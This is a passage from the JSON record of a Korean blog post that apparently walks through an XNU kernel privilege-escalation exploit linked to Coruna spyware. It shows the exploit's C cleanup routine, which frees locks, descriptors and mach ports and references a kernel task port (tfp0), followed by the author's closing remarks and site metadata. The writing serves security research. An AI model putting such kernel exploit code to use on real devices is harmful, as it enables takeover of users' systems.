\ube44\uc2b7\ud558\uba70,\n<code>fcntl(\u2026, F_SETOWN)<\/code> \uc5d0 \ub300\ud55c \uc790\uc138\ud55c \uc124\uba85\uc740 \uc544\ub798 \uadf8\ub9bc\uc73c\ub85c \uc0dd\ub7b5\ud558\uaca0\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Drawing_2026-08-12_09.36.22.excalidraw_1-fs8.png\" alt=\"Drawing 2026-08-12 09.36.22.excalidraw 1-fs8.png\"><\/p>\n<h3>14. \uc815\ub9ac<\/h3>\n<p><code>ofd_set_lock<\/code> \uc5d0\uc11c \ubaa8\ub4e0 \ub77d\uc744 \ud574\uc81c\ud558\uba70, \ud560\ub2f9\ub418\uc5c8\ub358 \uc18c\ucf13\uacfc \ud30c\uc774\ud504 \ub514\uc2a4\ud06c\ub9bd\ud130\ub97c close, mach port\ub4e4\ub3c4 \ud560\ub2f9\ud574\uc81c\uc2dc\ud0a8\ub2e4.<\/p>\n<pre><code class=\"language-c\">\n    \/\/ 13. \uc131\uacf5 \uc9c1\ud6c4 cleanup\n    if (ofd_set_lock(\n            urandom_fd, F_UNLCK, 0, (off_t)INT64_MAX) != 0) {\n        printf(&quot;[-] final OFD unlock failed: %s(%d)\\n&quot;,\n            strerror(errno), errno);\n        return -1;\n    }\n    close(urandom_fd);\n\n    close(socket_fd[0]);\n    close(socket_fd[1]);\n\n    close(pipe_fd[0]);\n    close(pipe_fd[1]);\n\n    \/* control-&gt;fp_glob points into PB, so drop control before PB's pipes. *\/\n    close(socket_fd[2]);\n    close(pipe_fd_2[1]);\n    close(pipe_fd_2[0]);\n\n    if (MACH_PORT_VALID(fileport_name)) {\n        mach_port_deallocate(mach_task_self(), fileport_name);\n    }\n    if (MACH_PORT_VALID(fileport_readpipe)) {\n        mach_port_deallocate(mach_task_self(), fileport_readpipe);\n    }\n    if (MACH_PORT_VALID(reply_port)) {\n        mach_port_mod_refs(\n            mach_task_self(), reply_port, MACH_PORT_RIGHT_RECEIVE, -1);\n    }\n    if (buf64k != NULL) {\n        vm_deallocate(\n            mach_task_self(), (vm_address_t)buf64k, 0x10000);\n    }\n    free(fl);\n    destroy_minimal_thread_message_channel(&amp;thread_channel);\n    if (MACH_PORT_VALID(host_port)) {\n        mach_port_deallocate(mach_task_self(), host_port);\n    }\n\n    printf(&quot;[+] cleanup complete\\n&quot;);\n\n#if ENABLE_HELPER\n    if(tfp0) {\n\t    term_kexecute();\n\t    mach_port_deallocate(mach_task_self(), tfp0);\n    }\n#endif\n\n    return 0;\n}\n\n<\/code><\/pre>\n<p>\uc0b4\uc544\uc788\ub358 lockf \ub370\uc774\ud130\ub4e4\uc740 \ud560\ub2f9\ud574\uc81c\ub418\uba74\uc11c \ubaa8\ub450 0\uc73c\ub85c \ucc44\uc6cc\uc9c4\ub2e4\u2026<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Drawing_2026-08-12_11.40.35.excalidraw-fs8.png\" alt=\"Drawing 2026-08-12 11.40.35.excalidraw-fs8.png\"><\/p>\n<h1>\ucd94\ud6c4 \uacc4\ud68d<\/h1>\n<p>\uc9c0\uae08\uae4c\uc9c0 Coruna \uc2a4\ud30c\uc774\uc6e8\uc5b4\uc5d0\uc11c \uc0ac\uc6a9\ub418\uc5c8\ub358 pendulum PE \ucde8\uc57d\uc810\uc5d0 \ub300\ud574 \uc54c\uc544\ubcf4\uc558\ub2e4.<\/p>\n<p>ChatGPT\/AI\ub97c \ud65c\uc6a9\ud558\uba74\uc11c \uc774\ud574 \ubabb\ud558\ub294 \ubd80\ubd84\uc740 xnu \uc18c\uc2a4\ucf54\ub4dc\ub97c \uc5ec\ub7ec\ubc88 \uc77d\uace0 \ucee4\ub110 \ub364\ud504\ub97c \uc9c4\ud589\ud558\uba74\uc11c \uc0b4\ud3b4\ubd24\ub294\ub370, \uc27d\uc9c0 \uc54a\uc558\ub2e4. \uc775\uc2a4\ud50c\ub85c\uc787 \ucf54\ub4dc\ub294 AI\uc5d0 \uc758\ud574 \uc0dd\uc131\ub41c \ucf54\ub4dc\uac00 \uc77c\ubd80 \uc874\uc7ac\ud558\uba70, \uc9c0\uc5ed\ubcc0\uc218\ub098 \ud568\uc218 \uc774\ub984\uc774 \uc801\uc808\uce58 \ubabb\ud558\uac70\ub098 \ubaa8\ud638\ud55c \ubd80\ubd84\uc774 \uaf64 \uc788\uc5c8\ub358 \uac70 \uac19\uc740\ub370\u2026 \uc775\uc2a4\ud50c\ub85c\uc787\uc744 \uc774\ud574\ud588\uc73c\ub2c8 \uc2dc\uac04\ub418\uba74 \uc0c8\ub86d\uac8c \ub2e4\uc2dc \uc9dc\ubcf4\ub824\uace0 \ud55c\ub2e4.<\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>\uad00\ub828 \uae00\uacfc \ucf54\ub4dc\ub4e4\uc740 \uc544\ub798 \ub9c1\ud06c\uc5d0\uc11c \ud655\uc778\ud558\uc2e4 \uc218 \uc788\uc2b5\ub2c8\ub2e4. https:\/\/github.com\/wh1te4ever\/xnu_1day_practice\/tree\/main\/NoCVE-CorunaPEPendulum<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"neve_meta_sidebar":"","neve_meta_container":"","neve_meta_enable_content_width":"","neve_meta_content_width":0,"neve_meta_title_alignment":"","neve_meta_author_avatar":"","neve_post_elements_order":"","neve_meta_disable_header":"","neve_meta_disable_footer":"","neve_meta_disable_title":"","_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[72],"tags":[11,12,13,25],"class_list":["post-4138","post","type-post","status-publish","format-standard","hentry","category-realworld","tag-ios","tag-ios-kernel","tag-macos","tag-pwnable"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/4138","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4138"}],"version-history":[{"count":2,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/4138\/revisions"}],"predecessor-version":[{"id":4172,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/4138\/revisions\/4172"}],"wp:attachment":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4138"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4138"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4138"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}